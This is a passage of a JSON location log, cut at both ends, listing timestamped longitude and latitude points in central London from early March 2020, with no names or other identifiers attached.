.11096162418118498,"latitude":51.544363499903056},{"time":1583394061836,"longitude":-0.10969540770449648,"latitude":51.54647655364895},{"time":1583394066306,"longitude":-0.11297956452786447,"latitude":51.54290320183837},{"time":1583394350035,"longitude":-0.11230620541134002,"latitude":51.544528760636574},{"time":1583394395307,"longitude":-0.08670949938628289,"latitude":51.52381599386902},{"time":1583394397239,"longitude":-0.11083904027320803,"latitude":51.54443853281435},{"time":1583394437784,"longitude":-0.10994599278997273,"latitude":51.54523045401798},{"time":1583394516367,"longitude":-0.07673816949569821,"latitude":51.52970130361138},{"time":1583394667524,"longitude":-0.0986053333751239,"latitude":51.51197320962509},{"time":1583394772302,"longitude":-0.07764872481518624,"latitude":51.48435207411607},{"time":1583394867751,"longitude":-0.09340258996254557,"latitude":51.49147639835084},{"time":1583394880042,"longitude":-0.08604883725248565,"latitude":51.47938651270518},{"time":1583395145284,"longitude":-0.09674788287768701,"latitude":51.5033318717664},{"time":1583395401492,"longitude":-0.09424672318041477,"latitude":51.48617536752791},{"time":1583395482468,"longitude":-0.09575835842802102,"latitude":51.51479326106219},{"time":1583395563227,"longitude":-0.09191527077971945,"latitude":51.525575171224354},{"time":1583395583835,"longitude":-0.08179196236339417,"latitude":51.517593483085605},{"time":1583395631868,"longitude":-0.08429575048145926,"latitude":51.50612926523807},{"time":1583396330630,"longitude":-0.09438439302736833,"latitude":51.504491179995526},{"time":1583396595298,"longitude":-0.09412822614323282,"latitude":51.524145914591884},{"time":1583397329034,"longitude":-0.09983924594857517,"latitude":51.50880328833335},{"time":1583397342606,"longitude":-0.07099029778634887,"latitude":51.50912345483936},{"time":1583397429381,"longitude":-0.09975258496879684,"latitude":51.477416265973794},{"time":1583397460290,"longitude":-0.10081825841534155,"latitude":51.50412342090242},{"time":1583397507630,"longitude":-0.08065277655707609,"latitude":51.50183262055412},{"time":1583397536574,"longitude":-0.10033539322373086,"latitude":51.47709803690868},{"time":1583397698577,"longitude":-0.09220835238286719,"latitude":51.49919909245696},{"time":1583397979571,"longitude":-0.07898588217695575,"latitude":51.52219703077754},{"time":1583398099542,"longitude":-0.08970056388214569,"latitude":51.53043651513078},{"time":1583398113903,"longitude":-0.08201460293682933,"latitude":51.48820554755795},{"time":1583398202981,"longitude":-0.08280960797248499,"latitude":51.523304161641725},{"time":1583399437151,"longitude":-0.08595770364643424,"latitude":51.50001053411012},{"time":1583399460670,"longitude":-0.08595987444390427,"latitude":51.49963164476648},{"time":1583404952328,"longitude":-0.08612301349203129,"latitude":51.500401274358715},{"time":1583407427720,"longitude":-0.07971554857429339,"latitude":51.49985830837291},{"time":1583407614438,"longitude":-0.0863383862928253,"latitude":51.50116077939633},{"time":1583407783833,"longitude":-0.08175551288352889,"latitude":51.49954730204101},{"time":1583408296302,"longitude":-0.08755589075684818,"latitude":51.50008261320981},{"time":1583408364421,"longitude":-0.0849029011849237,"latitude":51.50093522609072},{"time":1583409378866,"longitude":-0.07980907774046758,"latitude":51.5006990913178},{"time":1583409844660,"longitude":-0.08083287335310026,"latitude":51.500081744919555},{"time":1583410032035,"longitude":-0.08198997159202244,"latitude":51.49983081442728},{"time":1583410185321,"longitude":-0.08817790970630884,"latitude":51.50056608177652},{"time":1583410788744,"longitude":-0.08844553317661133,"latitude":51.50016226074953},{"time":1583410824876,"longitude":-0.08637041271548927,"latitude":51.50019074804824},{"time":1583411198243,"longitude":-0.08021435449453104,"latitude":51.50048639681975},{"time":1583411211019,"longitude":-0.08088908837034973,"latitude":51.50009705180602},{"time":1583411372986,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583411390018,"longitude":-0.0878470410520932,"latitude":51.499318647786886},{"time":1583411561084,"longitude":-0.08157295425791111,"latitude":51.500381331147366},{"time":1583411610229,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583411621763,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583411629902,"longitude":-0.08390256718226835,"latitude":51.49976887290244},{"time":1583411640952,"longitude":-0.07994634096410048,"latitude":51.50094370151654},{"time":1583411665024,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583411820710,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583411825195,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583411829694,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583411864829,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583411868072,"longitude":-0.08832144211815585,"latitude":51.499487113534016},{"time":1583411874489,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583411969693,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583411976180,"longitude":-0.08281419456708758,"latitude":51.50087943652253},{"time":1583412080425,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583412197118,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583412277855,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583412334721,"longitude":-0.0803295036997998,"latitude":51.500472223379425},{"time":1583412348264,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583412416955,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583412418197,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583412442967,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583412449415,"longitude":-0.08027938884093386,"latitude":51.49996294540651},{"time":1583412463385,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583412478266,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583412537389,"longitude":-0.08164800284040867,"latitude":51.49848651831146},{"time":1583412572218,"longitude":-0.08113379074940774,"latitude":51.5003429604713},{"time":1583412617488,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583412635869,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583412649712,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583412752799,"longitude":-0.08867768210660605,"latitude":51.50226353560898},{"time":1583412866985,"longitude":-0.08256855551950365,"latitude":51.500544126172926},{"time":1583413021808,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583413137644,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583413173979,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583413226076,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583413245128,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583413451547,"longitude":-0.08753676549025478,"latitude":51.499419035729204},{"time":1583413623434,"longitude":-0.08749918367541304,"latitude":51.49916966546565},{"time":1583413659985,"longitude":-0.08739771936064177,"latitude":51.49891871554597},{"time":1583413704855,"longitude":-0.0823942,"latitude":51.5005059},{"time":1583413774153,"longitude":-0.08757270305090036,"latitude":51.498592551739314},{"time":1583414089667,"longitude":-0.0795034040588132,"latitude":51.498576691497924},{"time":1583414297430,"longitude":-0.081056269347101,"latitude":51.50167440833516},{"time":1583414406769,"longitude":-0.08021304318918066,"latitude":51.502335937553994},{"time":1583414581025,"longitude":-0.08147048231168305,"latitude":51.50178756879213},{"time":1583414581637,"longitude":-0.08748027216233803,"latitude":51.49973889414718},{"time":1583414594356,"longitude":-0.07839596902940257,"latitude":51.499817041530896},{"time":1583423639356,"longitude":-0.08618436622637893,"latitude":51.499586251812936},{"time":1583423826872,"longitude":-0.08589896423678979,"latitude":51.50189036281347},{"time":1583423866402,"longitude":-0.08518407569297452,"latitude":51.50092433010342},{"time":1583423978610,"longitude":-0.0853491313624223,"latitude":51.49901186171132},{"time":1583424038397,"longitude":-0.08595880076951247,"latitude":51.50130181709334},{"time":1583424346034,"longitude":-0.08516325198692028,"latitude":51.50156506865836},{"time":1583424758494,"longitude":-0.08392364069434033,"latitude":51.500728873471644},{"time":1583424761778,"longitude":-0.08429088420974586,"latitude":51.5009903803657},{"time":1583424869246,"longitude":-0.083887508533143,"latitude":51.49890429492348},{"time":1583425156360,"longitude":-0.08609967420950125,"latitude":51.501936682816314},{"time":1583425172088,"longitude":-0.08561022509252515,"latitude":51.50171137454821},{"time":1583425364133,"longitude":-0.08441427788326071,"latitude":51.50133265420201},{"time":1583426337806,"longitude":-0.0856999570259766,"latitude":51.501911567909126},{"time":1583426345851,"longitude":-0.08406134078361581,"latitude":51.50133865076112},{"time":1583426583875,"longitude":-0.08609299570211726,"latitude":51.49953807990708},{"time":1583426677204,"longitude":-0.08615561561332649,"latitude":51.50145442601387},{"time":1583426694071,"longitude":-0.08502496030706601,"latitude":51.49934202991001},{"time":1583427137510,"longitude":-0.08389045317470596,"latitude":51.5002585130663},{"time":1583428742789,"longitude":-0.10094323917013073,"latitude":51.475749627277594},{"time":1583428795620,"longitude":-0.11182562329462425,"latitude":51.53216254902405},{"time":1583428819229,"longitude":-0.10716231066285166,"latitude":51.478310407909355},{"time":1583428849970,"longitude":-0.07794551176023957,"latitude":51.52308118945519},{"time":1583429044841,"longitude":-0.07857232588190083,"latitude":51.54056448183893},{"time":1583429073437,"longitude":-0.07865409055599791,"latitude":51.52452740084043},{"time":1583429162534,"longitude":-0.07252043962440288,"latitude":51.53876892269746},{"time":1583429308104,"longitude":-0.09249143068389419,"latitude":51.48967152594447},{"time":1583429511593,"longitude":-0.09461192196233861,"latitude":51.515310165374224},{"time":1583429726079,"longitude":-0.06702871582829195,"latitude":51.51346664994588},{"time":1583430032578,"longitude":-0.06989400121412302,"latitude":51.55178248557385},{"time":1583430364528,"longitude":-0.08822012783966632,"latitude":51.55200494404572},{"time":1583430598881,"longitude":-0.07236112097980414,"latitude":51.493096632929394},{"time":1583430645706,"longitude":-0.0963716530412967,"latitude":51.536875046962486},{"time":1583430718504,"longitude":-0.07275434094518715,"latitude":51.519703487573715},{"time":1583430927348,"longitude":-0.09025507657575711,"latitude":51.48458015926317},{"time":1583430930049,"longitude":-0.07839529288396557,"latitude":51.531655663150644},{"time":1583431075539,"longitude":-0.05938619661254166,"latitude":51.487831145934},{"time":1583431855495,"longitude":-0.08932020793950077,"latitude":51.478955733891375},{"time":1583431881001,"longitude":-0.1116284115337467,"latitude":51.538283735720064},{"time":1583431893575,"longitude":-0.11630033593434765,"latitude":51.52545701068106},{"time":1583431923815,"longitude":-0.09816992935104021,"latitude":51.541941958489964},{"time":1583432098767,"longitude":-0.09770750655646641,"latitude":51.474283225927124},{"time":1583432178211,"longitude":-0.113131934264104,"latitude":51.55095537425641},{"time":1583432241856,"longitude":-0.11896175847449719,"latitude":51.489136688894604},{"time":1583432317480,"longitude":-0.06702515644229975,"latitude":51.52275516205755},{"time":1583432382208,"longitude":-0.10835951459862278,"latitude":51.54242113997527},{"time":1583432755936,"longitude":-0.11705409318285027,"latitude":51.55432969242367},{"time":1583432789974,"longitude":-0.08802833272687059,"latitude":51.54092704587694},{"time":1583432819911,"longitude":-0.06700416690665507,"latitude":51.46979215926011},{"time":1583433123147,"longitude":-0.12088308640261185,"latitude":51.53348823058139},{"time":1583433206177,"longitude":-0.11775807341265931,"latitude":51.537547145679554},{"time":1583433279720,"longitude":-0.10695855781549442,"latitude":51.55014726062118},{"time":1583433605963,"longitude":-0.10164895213792505,"latitude":51.53737411943653},{"time":1583433720975,"longitude":-0.11694331621153137,"latitude":51.53545216470597},{"time":1583433915216,"longitude":-0.11443417242299675,"latitude":51.537808739728305},{"time":1583433942238,"longitude":-0.11615978067573304,"latitude":51.55387760185382},{"time":1583433962780,"longitude":-0.1152077003764374,"latitude":51.53702902097018},{"time":1583434148895,"longitude":-0.10052666638181455,"latitude":51.53983445315687},{"time":1583434265879,"longitude":-0.10900861243735772,"latitude":51.53787243719252},{"time":1583434404405,"longitude":-0.10105861728468123,"latitude":51.539921281628054},{"time":1583434476015,"longitude":-0.11471956637954213,"latitude":51.5535744012804},{"time":1583434613680,"longitude":-0.12123464161009445,"latitude":51.535199127663795},{"time":1583434692442,"longitude":-0.10203546041364182,"latitude":51.552319892793534},{"time":1583434751323,"longitude":-0.1184046811124551,"latitude":51.55154688155129},{"time":1583480456930,"longitude":-0.10762913321316973,"latitude":51.53077592131652},{"time":1583480521701,"longitude":-0.08192817107748228,"latitude":51.55062177369783},{"time":1583480580587,"longitude":-0.07131067023443881,"latitude":51.525623449637806},{"time":1583481072644,"longitude":-0.08268037961584053,"latitude":51.52509520389179},{"time":1583481163954,"longitude":-0.09508697411865247,"latitude":51.52620199308231},{"time":1583481408656,"longitude":-0.07518465170512967,"latitude":51.53376239111673},{"time":1583481433343,"longitude":-0.08232852608478616,"latitude":51.52533886472867},{"time":1583481592323,"longitude":-0.0828246694395199,"latitude":51.52557357143729},{"time":1583481754313,"longitude":-0.07832310685551654,"latitude":51.52701940092879},{"time":1583481848818,"longitude":-0.0826619015954549,"latitude":51.525193434915856},{"time":1583481946346,"longitude":-0.08247863309990063,"latitude":51.52511153602967},{"time":1583481954845,"longitude":-0.08458073790868428,"latitude":51.52585681898885},{"time":1583481957424,"longitude":-0.0816359978726068,"latitude":51.52631557119807},{"time":1583482101333,"longitude":-0.07587390749424479,"latitude":51.52664755193223},{"time":1583482123594,"longitude":-0.0878452311777514,"latitude":51.52370830658649},{"time":1583482130240,"longitude":-0.08651590819957294,"latitude":51.52709160981712},{"time":1583482315273,"longitude":-0.0687148782139731,"latitude":51.547571027658016},{"time":1583482331914,"longitude":-0.0686489755953503,"latitude":51.54255906385346},{"time":1583482351913,"longitude":-0.08267223006467057,"latitude":51.52515627112757},{"time":1583482375319,"longitude":-0.08626450652816862,"latitude":51.52700328884305},{"time":1583482396895,"longitude":-0.07341608586755011,"latitude":51.52083054133295},{"time":1583482419983,"longitude":-0.10321537764357705,"latitude":51.51631502293658},{"time":1583482535777,"longitude":-0.08258865403358262,"latitude":51.52547844811251},{"time":1583482554306,"longitude":-0.0845359669759822,"latitude":51.52393612952307},{"time":1583482560646,"longitude":-0.06233756409612211,"latitude":51.531384561299085},{"time":1583482714877,"longitude":-0.05368897140410282,"latitude":51.51976225347991},{"time":1583482752706,"longitude":-0.0827357195687163,"latitude":51.525559891316796},{"time":1583482787026,"longitude":-0.0917155000069755,"latitude":51.543680602692504},{"time":1583482820012,"longitude":-0.047376756888787105,"latitude":51.503952353235924},{"time":1583482835642,"longitude":-0.08648526049925628,"latitude":51.5229494887781},{"time":1583482854317,"longitude":-0.0854462602333826,"latitude":51.523850914564775},{"time":1583482966777,"longitude":-0.07941430327357853,"latitude":51.5229785089491},{"time":1583483011285,"longitude":-0.10945180298474202,"latitude":51.52566075113803},{"time":1583483032627,"longitude":-0.07646648380313183,"latitude":51.52324101119852},{"time":1583483074721,"longitude":-0.08232448282516447,"latitude":51.52526499332656},{"time":1583483195602,"longitude":-0.08396978260080006,"latitude":51.526584908841706},{"time":1583483206430,"longitude":-0.08541314864778725,"latitude":51.52311243027446},{"time":1583483341202,"longitude":-0.08532303696527305,"latitude":51.52507713065767},{"time":1583483516656,"longitude":-0.08234720873755617,"latitude":51.52530430019583},{"time":1583483820196,"longitude":-0.08229026545861279,"latitude":51.52406232596435},{"time":1583483958461,"longitude":-0.08255890698097534,"latitude":51.525438547075446},{"time":1583484103725,"longitude":-0.08249609620855634,"latitude":51.5255063027324},{"time":1583484370026,"longitude":-0.08232786557303043,"latitude":51.5252154470256},{"time":1583484635863,"longitude":-0.08276949320132895,"latitude":51.525431560743264},{"time":1583486026036,"longitude":-0.08271338744484265,"latitude":51.525605475042376},{"time":1583486049291,"longitude":-0.08234511959785809,"latitude":51.52536062417177},{"time":1583486077234,"longitude":-0.08236948821276342,"latitude":51.525494841509264},{"time":1583486291775,"longitude":-0.08609226407360415,"latitude":51.50218937429526},{"time":1583486296089,"longitude":-0.08614356703643432,"latitude":51.49748776593575},{"time":1583486544027,"longitude":-0.08249901821385475,"latitude":51.5251240077254},{"time":1583486725128,"longitude":-0.08238541445970324,"latitude":51.52557101085189},{"time":1583486747418,"longitude":-0.08237078780614979,"latitude":51.52517556441214},{"time":1583486833692,"longitude":-0.08554658480635519,"latitude":51.50116181516204},{"time":1583487437168,"longitude":-0.082610494007003,"latitude":51.525576157924775},{"time":1583487701630,"longitude":-0.08512268323869696,"latitude":51.49728185411017},{"time":1583487715807,"longitude":-0.0835364915167556,"latitude":51.500273460884536},{"time":1583487745662,"longitude":-0.08464296810635351,"latitude":51.499300586465175},{"time":1583487965734,"longitude":-0.0836503541858574,"latitude":51.49902566510287},{"time":1583488308490,"longitude":-0.08381856837437386,"latitude":51.500782681885326},{"time":1583488473663,"longitude":-0.08409920901240124,"latitude":51.49845993508323},{"time":1583488573986,"longitude":-0.084305002823531,"latitude":51.497623275013424},{"time":1583488574799,"longitude":-0.08411402844985973,"latitude":51.50158651160036},{"time":1583488622230,"longitude":-0.08556878964245306,"latitude":51.50255017009886},{"time":1583495545814,"longitude":-0.08506692700697795,"latitude":51.49931001385166},{"time":1583495902425,"longitude":-0.08451134369307893,"latitude":51.49951074534219},{"time":1583496036529,"longitude":-0.08434819058116634,"latitude":51.49936431089733},{"time":1583496470117,"longitude":-0.08549684719446551,"latitude":51.500987230983085},{"time":1583496950904,"longitude":-0.08471299169282441,"latitude":51.49947165834204},{"time":1583496991575,"longitude":-0.0853981065644371,"latitude":51.49943503140048},{"time":1583497715096,"longitude":-0.08495324658773028,"latitude":51.50094594606502},{"time":1583521845385,"longitude":-0.08536367145289203,"latitude":51.50249078732029},{"time":1583521906440,"longitude":-0.07627708918326204,"latitude":51.50221409526037},{"time":1583522336931,"longitude":-0.07660622216485065,"latitude":51.50200188699059},{"time":1583522500597,"longitude":-0.08180747315632311,"latitude":51.500914888189236},{"time":1583522514934,"longitude":-0.08944759613953063,"latitude":51.50137190845007},{"time":1583522565037,"longitude":-0.08339220282536489,"latitude":51.49898247018125},{"time":1583523071283,"longitude":-0.07827601786273472,"latitude":51.499466899174664},{"time":1583523197357,"longitude":-0.08902227418459015,"latitude":51.49969781436703},{"time":1583523425533,"longitude":-0.0871779388039293,"latitude":51.50012871376623},{"time":1583523588695,"longitude":-0.0783538011083503,"latitude":51.501436787764355},{"time":1583523677705,"longitude":-0.07737196537667003,"latitude":51.50167642245702},{"time":1583523721357,"longitude":-0.08316043620358916,"latitude":51.50279959616893},{"time":1583524153139,"longitude":-0.09061659885515178,"latitude":51.49961221659885},{"time":1583524297651,"longitude":-0.08668160250215229,"latitude":51.49927685618099},{"time":1583524605252,"longitude":-0.07667944122134439,"latitude":51.502259357847855},{"time":1583524660602,"longitude":-0.07904267257663443,"latitude":51.50125891442051},{"time":1583524682091,"longitude":-0.0879374204155438,"latitude":51.50503344765491},{"time":1583524735527,"longitude":-0.07980733161379316,"latitude":51.50404396888527},{"time":1583524836086,"longitude":-0.08340888215054058,"latitude":51.50168849891309},{"time":1583524889921,"longitude":-0.07608690523211586,"latitude":51.5024417074333},{"time":1583524932218,"longitude":-0.07183748112845985,"latitude":51.50359178304269},{"time":1583524934642,"longitude":-0.08427243858403406,"latitude":51.50310733491964},{"time":1583524945744,"longitude":-0.07777329257000831,"latitude":51.50242268531517},{"time":1583524947889,"longitude":-0.08521167680824687,"latitude":51.49890440606908},{"time":1583525071545,"longitude":-0.07739551699328587,"latitude":51.50033034473271},{"time":1583525457942,"longitude":-0.08270474477932359,"latitude":51.4994571547121},{"time":1583525492842,"longitude":-0.0833250593236269,"latitude":51.5029447334059},{"time":1583525507053,"longitude":-0.08624489648357872,"latitude":51.49922299095602},{"time":1583525759275,"longitude":-0.10130767314497621,"latitude":51.54524403353272},{"time":1583525788743,"longitude":-0.08236317700562942,"latitude":51.50389957903163},{"time":1583525949726,"longitude":-0.10718822091656176,"latitude":51.546877533777696},{"time":1583525961659,"longitude":-0.11131678646309076,"latitude":51.51868868991626},{"time":1583525974112,"longitude":-0.07524323706802542,"latitude":51.50051312597461},{"time":1583526159775,"longitude":-0.10668011600861273,"latitude":51.51744352532546},{"time":1583526162319,"longitude":-0.074661588340171,"latitude":51.49885481253778},{"time":1583526363529,"longitude":-0.10798678511280992,"latitude":51.524996525921274},{"time":1583526441543,"longitude":-0.07642436009758372,"latitude":51.5029263428997},{"time":1583526492054,"longitude":-0.07295027398041908,"latitude":51.50138860736305},{"time":1583526548775,"longitude":-0.11024980861153924,"latitude":51.52368653685399},{"time":1583526598984,"longitude":-0.08482849954446653,"latitude":51.50107577201226},{"time":1583526633731,"longitude":-0.10371620872544111,"latitude":51.53471579022279},{"time":1583526668755,"longitude":-0.08787437782969897,"latitude":51.50353226677953},{"time":1583526928909,"longitude":-0.08260711993215267,"latitude":51.501241517159905},{"time":1583527059783,"longitude":-0.07378033273755574,"latitude":51.49988721643109},{"time":1583527080905,"longitude":-0.10384596533389749,"latitude":51.52519676547445},{"time":1583527146417,"longitude":-0.07669497384619965,"latitude":51.49819623580022},{"time":1583527214161,"longitude":-0.07321073307012052,"latitude":51.498020896247894},{"time":1583527459183,"longitude":-0.10148692810452328,"latitude":51.538253568377435},{"time":1583527719130,"longitude":-0.1121754731394975,"latitude":51.54758362040701},{"time":1583527806648,"longitude":-0.11207034141126096,"latitude":51.54411698905771},{"time":1583528254943,"longitude":-0.11222243407711899,"latitude":51.54317323299302},{"time":1583528507904,"longitude":-0.11224022538595987,"latitude":51.54371823400693},{"time":1583528543081,"longitude":-0.1080465322704125,"latitude":51.53536039876751},{"time":1583528717694,"longitude":-0.10267921380242032,"latitude":51.55293497210501},{"time":1583528916633,"longitude":-0.1121734361459058,"latitude":51.54733330562591},{"time":1583528996592,"longitude":-0.11212648890869176,"latitude":51.54270902832674},{"time":1583529060565,"longitude":-0.1119802274928089,"latitude":51.544444971870455},{"time":1583529138448,"longitude":-0.10228392267259881,"latitude":51.5436325742469},{"time":1583529166470,"longitude":-0.101576228603794,"latitude":51.52199687237741},{"time":1583529326046,"longitude":-0.10771907903686742,"latitude":51.555482491918134},{"time":1583529377746,"longitude":-0.10792135012580471,"latitude":51.5213867603085},{"time":1583529852470,"longitude":-0.11198961806451668,"latitude":51.54459646983609},{"time":1583567769746,"longitude":-0.05486563720127291,"latitude":51.49410827676184},{"time":1583567877759,"longitude":-0.06056777850485061,"latitude":51.59067899412912},{"time":1583568151708,"longitude":-0.12850567808178937,"latitude":51.57426800620121},{"time":1583568906757,"longitude":-0.10645226039573684,"latitude":51.48087005255213},{"time":1583570705735,"longitude":-0.10948828334471472,"latitude":51.528603626131535},{"time":1583571369309,"longitude":-0.1235122889946752,"latitude":51.481496371659745},{"time":1583572045914,"longitude":-0.11030706709662712,"latitude":51.45418237196121},{"time":1583572783961,"longitude":-0.06751007099548936,"latitude":51.4855759395238},{"time":1583573191160,"longitude":-0.12110167388859122,"latitude":51.44790979568708},{"time":1583573359833,"longitude":-0.10801040985486235,"latitude":51.507340463617496},{"time":1583573611317,"longitude":-0.10501825135468024,"latitude":51.495029592567406},{"time":1583573636233,"longitude":-0.0934837293757496,"latitude":51.4729713496918},{"time":1583573677970,"longitude":-0.07987735188316267,"latitude":51.61183114671918},{"time":1583574184289,"longitude":-0.08399025297948023,"latitude":51.50018696320753},{"time":1583574563790,"longitude":-0.07783554681447752,"latitude":51.5501584928575},{"time":1583575028276,"longitude":-0.08401416522478358,"latitude":51.50025282223422},{"time":1583582279197,"longitude":-0.08520214754982097,"latitude":51.49950851144045},{"time":1583582652202,"longitude":-0.08508333804435599,"latitude":51.49950216588895},{"time":1583584839713,"longitude":-0.08616941190606216,"latitude":51.49914526889426},{"time":1583584882152,"longitude":-0.08405811507843876,"latitude":51.49732552384124},{"time":1583584907472,"longitude":-0.0851491018087842,"latitude":51.50325676544991},{"time":1583585113543,"longitude":-0.08524351959139655,"latitude":51.503726388292456},{"time":1583585143049,"longitude":-0.08438112027064888,"latitude":51.4976378781259},{"time":1583585465742,"longitude":-0.08569318206523004,"latitude":51.49754835012089},{"time":1583585488974,"longitude":-0.08505606159081133,"latitude":51.497237838380826},{"time":1583585744310,"longitude":-0.08650668291184169,"latitude":51.497521102240235},{"time":1583585874166,"longitude":-0.08582250274483029,"latitude":51.50292346260762},{"time":1583585926280,"longitude":-0.08554180589405795,"latitude":51.49854339438561},{"time":1583586055385,"longitude":-0.08457765719946025,"latitude":51.5034044104788},{"time":1583586078674,"longitude":-0.08598003921285366,"latitude":51.50162710163491},{"time":1583586088653,"longitude":-0.08628617167118675,"latitude":51.49972141551988},{"time":1583586821978,"longitude":-0.08438557615854424,"latitude":51.49743443746365},{"time":1583587038271,"longitude":-0.08663774013221472,"latitude":51.50330308387972},{"time":1583587144746,"longitude":-0.08619551225272454,"latitude":51.50096181997185},{"time":1583587275590,"longitude":-0.08421509150772322,"latitude":51.503874570289},{"time":1583587629684,"longitude":-0.0862096018361832,"latitude":51.49909714147173},{"time":1583587677007,"longitude":-0.08464527415508961,"latitude":51.50210427323538},{"time":1583604431038,"longitude":-0.09395756331000604,"latitude":51.543524399611414},{"time":1583604831480,"longitude":-0.08946724715223292,"latitude":51.56455579725917},{"time":1583605803274,"longitude":-0.12349808235748572,"latitude":51.47870205035804},{"time":1583606092155,"longitude":-0.08185158818049455,"latitude":51.517876667782126},{"time":1583606429547,"longitude":-0.05768342287578721,"latitude":51.5373924955304},{"time":1583606461163,"longitude":-0.0687809759637042,"latitude":51.510920876822105},{"time":1583607232662,"longitude":-0.13088160524597464,"latitude":51.47907535540394},{"time":1583608099781,"longitude":-0.09219856963712912,"latitude":51.57293207226336},{"time":1583608190552,"longitude":-0.10977448715028598,"latitude":51.57595828511448},{"time":1583608802802,"longitude":-0.11785631555034609,"latitude":51.52526054415498},{"time":1583610803955,"longitude":-0.10364365888954918,"latitude":51.51411319296037},{"time":1583611075466,"longitude":-0.11179687738396905,"latitude":51.493750271819486},{"time":1583611927083,"longitude":-0.07245918247208086,"latitude":51.45505365737791},{"time":1583612125081,"longitude":-0.13078655059300398,"latitude":51.46507416680623},{"time":1583612707334,"longitude":-0.15637950522974564,"latitude":51.5537982162723},{"time":1583612973542,"longitude":-0.0745658261575943,"latitude":51.47843468797442},{"time":1583613498058,"longitude":-0.12420236674187485,"latitude":51.610759229268616},{"time":1583613977161,"longitude":-0.1357484714678101,"latitude":51.49084870448204},{"time":1583614491263,"longitude":-0.06483885013686586,"latitude":51.591415730006155},{"time":1583614902436,"longitude":-0.08620651741302851,"latitude":51.483271510128596},{"time":1583615054394,"longitude":-0.07236133309631704,"latitude":51.567826729947434},{"time":1583615338083,"longitude":-0.15284951352678988,"latitude":51.514609329557594},{"time":1583823006375,"longitude":-0.14640325023451428,"latitude":51.61640307881628},{"time":1583823831170,"longitude":-0.0951054763178172,"latitude":51.550812591012935},{"time":1583824081841,"longitude":-0.06504319913910929,"latitude":51.596858085370656},{"time":1583824386850,"longitude":-0.08172347026873995,"latitude":51.56228686002499},{"time":1583824550089,"longitude":-0.06058279547654099,"latitude":51.454977989714145},{"time":1583824645793,"longitude":-0.07229763239366688,"latitude":51.45763866575147},{"time":1583825747656,"longitude":-0.09648398092298403,"latitude":51.55846484480938},{"time":1583826138864,"longitude":-0.06684105795622267,"latitude":51.527018473737364},{"time":1583826202309,"longitude":-0.09201622439083769,"latitude":51.552660009544546},{"time":1583826356242,"longitude":-0.10289064082905401,"latitude":51.5237542272665},{"time":1583826398772,"longitude":-0.09302290679915821,"latitude":51.55453934391928},{"time":1583826430639,"longitude":-0.08258031894293458,"latitude":51.47517079705492},{"time":1583827444730,"longitude":-0.061629269915758206,"latitude":51.552484054730286},{"time":1583828243653,"longitude":-0.13801821554110905,"latitude":51.61565101588305},{"time":1583828602671,"longitude":-0.1359754108522802,"latitude":51.50317059718116},{"time":1583828826107,"longitude":-0.08802756714625742,"latitude":51.45920979466794},{"time":1583828901559,"longitude":-0.13877137149509633,"latitude":51.52680978060528},{"time":1583829068025,"longitude":-0.08184324232209095,"latitude":51.512488943773924},{"time":1583829076369,"longitude":-0.07611645340651323,"latitude":51.53676509068527},{"time":1583829212323,"longitude":-0.12805601457551308,"latitude":51.44371161710063},{"time":1583829267188,"longitude":-0.08467118483521413,"latitude":51.49951536459866},{"time":1583829602553,"longitude":-0.05898961970453543,"latitude":51.447128381976505},{"time":1583829828570,"longitude":-0.0924301602909314,"latitude":51.58069907332288},{"time":1583829912155,"longitude":-0.06386823897247854,"latitude":51.567241289595614},{"time":1583830132878,"longitude":-0.08745519021686858,"latitude":51.544785763831335},{"time":1583846748387,"longitude":-0.08492817063892585,"latitude":51.49950460219908},{"time":1583866831145,"longitude":-0.0848344579739878,"latitude":51.500950399627435},{"time":1583867602217,"longitude":-0.07994613594184573,"latitude":51.49555331964795},{"time":1583867698537,"longitude":-0.08571110678154521,"latitude":51.50567199968732},{"time":1583867836227,"longitude":-0.0798508862128269,"latitude":51.49861069734591},{"time":1583868150939,"longitude":-0.07964754200308376,"latitude":51.50464013297491},{"time":1583868205819,"longitude":-0.07865341666099884,"latitude":51.500036644173264},{"time":1583868332872,"longitude":-0.08139336536933035,"latitude":51.50467608892748},{"time":1583868373268,"longitude":-0.08927481774608262,"latitude":51.50403255865089},{"time":1583868490056,"longitude":-0.08003653153602495,"latitude":51.50010955352346},{"time":1583868597127,"longitude":-0.08118227183867624,"latitude":51.50509801538999},{"time":1583868850971,"longitude":-0.08836973453139002,"latitude":51.501251406531885},{"time":1583868939935,"longitude":-0.08345784487202808,"latitude":51.50284808675926},{"time":1583868963190,"longitude":-0.0983689855542686,"latitude":51.53373603791701},{"time":1583869055473,"longitude":-0.11217885023426091,"latitude":51.53937690171183},{"time":1583869188916,"longitude":-0.09899626894063795,"latitude":51.52278536869923},{"time":1583869280363,"longitude":-0.10071050855442756,"latitude":51.550504127003656},{"time":1583869357665,"longitude":-0.11270630929901132,"latitude":51.538018034421896},{"time":1583869455569,"longitude":-0.08363789308766746,"latitude":51.49645770131},{"time":1583869563974,"longitude":-0.0999661189763596,"latitude":51.52682324493454},{"time":1583869634444,"longitude":-0.1018132243930065,"latitude":51.52175956196665},{"time":1583869686416,"longitude":-0.08662163989968662,"latitude":51.495338198663966},{"time":1583869690207,"longitude":-0.11317888232268215,"latitude":51.55184297998713},{"time":158